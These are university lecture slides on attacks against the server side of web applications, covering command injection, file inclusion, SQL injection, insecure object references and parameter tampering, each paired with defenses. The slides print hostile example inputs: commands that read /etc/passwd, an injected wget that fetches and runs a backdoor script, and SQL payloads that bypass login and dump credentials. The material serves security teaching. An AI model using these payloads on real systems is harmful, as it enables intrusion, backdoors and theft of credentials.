CSE509 System Security Attacks against the server-side of web applications Nick Nikiforakis

Slides:



Advertisements
Similar presentations
Web Security Never, ever, trust user inputs Supankar.
Advertisements

©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
Attacking Authentication and Authorization CSE 591 – Security and Vulnerability Analysis Spring 2015 Adam Doupé Arizona State University
Introduction The concept of “SQL Injection”
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Multiple Tiers in Action
Web Application Security An Introduction. OWASP Top Ten Exploits *Unvalidated Input Broken Access Control Broken Authentication and Session Management.
Dec 13 th CS555 presentation1 Yiwen Wang --“Securing the DB may be the single biggest action an organization can take to protect its assets” David C. Knox.
Injection Attacks by Example SQL Injection and XSS Adam Forsythe Thomas Hollingsworth.
1 SQL injection: attacks and defenses Dan Boneh CS 142 Winter 2009.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
Dennis  Application Security Specialist  WhiteHat Security  Full-Time Student  University of Houston – Main Campus ▪ Computer.
1 IS 2150 / TEL 2810 Introduction to Security James Joshi Associate Professor, SIS Lecture 12.1 Nov 20, 2012 SQL Injection Cross-Site Scripting.
Secure Software Engineering: Input Vulnerabilities
Workshop 3 Web Application Security Li Weichao March
PHP Security.
OWASP Zed Attack Proxy Project Lead
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
Preventing Web Application Injections with Complementary Character Coding Raymond Mui Phyllis Frankl Polytechnic Institute of NYU Presented at ESORICS.
Attacking Applications: SQL Injection & Buffer Overflows.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Introduction To Web Application Security in PHP. Security is Big And Often Difficult PHP doesn’t make it any easier.
Accessing Your MySQL Database from the Web with PHP (Ch 11) 1.
Prof Frankl, Spring 2008CS Polytechnic University 1 Overview of Web database applications with PHP.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
SQL Injection Jason Dunn. SQL Overview Structured Query Language For use with Databases Purpose is to retrieve information Main Statements Select Insert.
Input Validation – common associated risks  ______________ user input controls SQL statements ultimately executed by a database server
SQL INJECTIONS Presented By: Eloy Viteri. What is SQL Injection An SQL injection attack is executed when a web page allows users to enter text into a.
Aniket Joshi Justin Thomas. Agenda Introduction to SQL Injection SQL Injection Attack SQL Injection Prevention Summary.
Web Applications Testing By Jamie Rougvie Supported by.
Web Security SQL Injection, XSS, CSRF, Parameter Tampering, DoS Attacks, Session Hijacking SoftUni Team Technical Trainers Software University
CS526Topic 12: Web Security (2)1 Information Security CS 526 Topic 9 Web Security Part 2.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Security Attacks CS 795. Buffer Overflow Problem Buffer overflow Analysis of Buffer Overflow Attacks.
Mr. Justin “JET” Turner CSCI 3000 – Fall 2015 CRN Section A – TR 9:30-10:45 CRN – Section B – TR 5:30-6:45.
EECS 354: Network Security Group Members: Patrick Wong Eric Chan Shira Schneidman Web Attacks Project: Detecting XSS and SQL Injection Vulnerabilities.
Example – SQL Injection MySQL & PHP code: // The next instruction prompts the user is to supply an ID $personID = getIDstringFromUser(); $sqlQuery = "SELECT.
Defending Applications Against Command Insertion Attacks Penn State Web Conference 2003 Arthur C. Jones June 18, 2003.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
SECURE DEVELOPMENT. SEI CERT TOP 10 SECURE CODING PRACTICES Validate input Use strict compiler settings and resolve warnings Architect and design for.
Introduction SQL Injection is a very old security attack. It first came into existence in the early 1990's ex: ”Hackers” movie hero does SQL Injection.
UKUUG Linux 2008 Introduction to Web Application Security Flaws Jake Edge LWN.net URL for slides:
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
SQL Injection.
Group 18: Chris Hood Brett Poche
Web Application Vulnerabilities
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
WEB APPLICATION TESTING
SQL Injection.
Example – SQL Injection
Unix System Administration
SQL Injection Attacks Many web servers have backing databases
PHP: Security issues FdSc Module 109 Server side scripting and
Lecture 2 - SQL Injection
Web Programming Language
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
Protecting Against Common Web Application Vulnerabilities
Lecture 27 Security I April 4, 2018 Open news web sites.
Exploring DOM-Based Cross Site Attacks
Presentation transcript:

CSE509 System Security Attacks against the server-side of web applications Nick Nikiforakis

Threat model In these scenarios: – The server is benign – The client is malicious The client can send arbitrary requests to the server, not bound by the HTML interfaces The attacker is after information at the server- side – Steal databases – Gain access to server – Manipulate server-side programs for gain 2

OWASP Top 10 3 A1 – InjectionA2 – Broken Auth and Session ManagementA3 – Cross-site ScriptingA4 – Insecure Direct Object ReferencesA5 – Security misconfigurationA6 – Sensitive Data ExposureA7 – Missing function level access controlA8 – Cross-site Request ForgeryA9 – Using components with kn. vulnerabilitiesA10 – Unvalidated redirects and Forwards

OWASP Top 10 4 A1 – InjectionA2 – Broken Auth and Session ManagementA3 – Cross-site ScriptingA4 – Insecure Direct Object ReferencesA5 – Security misconfigurationA6 – Sensitive Data ExposureA7 – Missing function level access controlA8 – Cross-site Request ForgeryA9 – Using components with kn. vulnerabilitiesA10 – Unvalidated redirects and Forwards

Imagine a server-side calendar <?php $year = $_GET[‘year’]; print “ ”; system(“cal $year”); print “ ”; ?> 5

6 system(“cal 2012”);

7 system(“cal 2012; cat /etc/passwd”); /etc/passwd What if we, as the script programmers, blacklist the semicolon? Will it solve our problems?

8 system(“cal 2012 && cat /etc/passwd”); /etc/passwd

9 %2626wget –O/tmp/back.sh%2626chmod +x /tmp/back.sh%26%26/tmp/back.sh Injected commands does the following: Downloads backdoor script from attacker’s server Makes it executable Executes it Backdoor is now running with the permissions of the web server user on the web server

Remote Command Execution These were examples of a vulnerability belonging to the class of “Remote Command Execution” One of the more deadly attacks – Attacker has foothold on server – This foothold can be used to (among others): steal data, connect to other machines internal to the network, or try to become root 10

Defenses Defense should not be blacklisting – Hard to do comprehensively (&,*,`,$,( … ) – Problems with applications that need access to the things that you blacklist Sanitization is the correct step – We saw this again in XSS where we said that the characters needed to be properly escaped – E.g. Place parameters in single quotes and escape existing single quotes that are part of the payload – Frameworks provide functions to help, e.g., escapeshellarg() in PHP 11

Question Can we rely on sanitization of the arguments using JavaScript at the client-side? – E.g. use JavaScript to add quotes to the value of the year variable, as the attacker types it in a specific HTML input field NO!!!!!! – The attacker is the client, and can send arbitrary input to us (e.g. remove JavaScript, or just create requests by hand/through another program) 12

Down the rabbit hole <?php $file = $_GET['f']; if(isset($file)) { include("pages/$file"); } else { include("index.php"); } ?> 13

Local File Inclusion Intended use: Unintended use: swd swd So now an attacker can read text files located on the system which are readable by the web server process 14

Down the rabbit hole <?php $file = $_GET['f']; if(isset($file)) { include($file. “.php”); } else { include("index.php"); } ?> 15

Remote File Inclusion Intended use: Unintended use: mmands mmands So now an attacker can also run arbitrary PHP commands on the server 16

Defenses Filter input – Good but must account for more exotic attacks (e.g. different encodings of dots and slashes) Use known white list – Much better but involves more work – E.g. file can be one of [“news”, “contactus”, “main”] If the request matches, great. If not, drop it. 17

OWASP Top A1 – InjectionA2 – Broken Auth and Session ManagementA3 – Cross-site ScriptingA4 – Insecure Direct Object ReferencesA5 – Security misconfigurationA6 – Sensitive Data ExposureA7 – Missing function level access controlA8 – Cross-site Request ForgeryA9 – Using components with kn. vulnerabilitiesA10 – Unvalidated redirects and Forwards

Different name, same beast <?php $user = $_POST[‘username’]; $pass = $_POST[‘password’]; $res = mysql_query(“SELECT * from members where username = ‘$user’ and password = ‘pass’”); […] ?> 19

Different name, same beast If the user submits: Username: Jack Password: letmein Then the query becomes SELECT * from members where username = ‘Jack’ and password = ‘letmein’ 20

SQL Injection What if an attacker submits: Username: administrator’-- Password: doesnotmatter Then the query becomes SELECT * from members where username = ‘administrator’--’ and password = ‘doesnotmatter’ 21 Comment operator for some SQL databases

SQL Injection In an eshop with the following: SELECT * from products where pid = $_GET[‘pid’] An attacker could construct the following input: Pid= UNION ALL SELECT username,password,3,4,5 from members; Allowing him to list credentials from different tables in the SQL database 22

Compulsory XKCD cartoon 23

Defenses As before, sanitization should be used to stop the attack – E.g. knowing that a value should only be an integer, allows you to wrap it in the intval() function More generically, for SQL, prepared statements are considered the best way of defending 24

Prepared statements mysql_query(“SELECT * from members where username = ‘$user’ and password = `$pass’”); Now becomes $stmt = $conn->prepare("SELECT * from members where username=? and password=?"); $stmt->bind_param("ss", username,password); $stmt->execute(); $res = $stmt->get_result(); 25

OWASP Top A1 – InjectionA2 – Broken Auth and Session ManagementA3 – Cross-site ScriptingA4 – Insecure Direct Object ReferencesA5 – Security misconfigurationA6 – Sensitive Data ExposureA7 – Missing function level access controlA8 – Cross-site Request ForgeryA9 – Using components with kn. vulnerabilitiesA10 – Unvalidated redirects and Forwards

Insecure Direct Object References Imagine you login to your bank account, and there’s a link that allows you to see last month’s statement: – In insecure direct object reference, the application exposes a direct reference to an object which can allow attacker to bypass authorization, e.g.,

Defenses Wrap direct object references into session- specific aliases $_SESSION[‘refs’] = array ( 1 => “2109”, 2 => “2189”, ); “De-reference” the user-provided values through this table 28

HTTP Parameter Tampering Vulnerabilities In all of these attacks, it’s important to remember that the client is the attacker, and the server is the potential victim In HTTP Parameter tampering, an attacker can arbitrarily change the values of parameters that are exposed to him – E.g. prices of products, current auth level, etc. 29

30

Defenses Do not rely on anything that the client-sends – Double check all values and rely on clean server-side copies – This goes for control-data (e.g. is the user an admin) as well as non-control data (how much does product x cost) Once again, making checks through JavaScript is okay but these checks should be replicated at the server side – E.g. are the quantities > 0, fetching the prices from the server-side DB, etc. 31

Questions? 32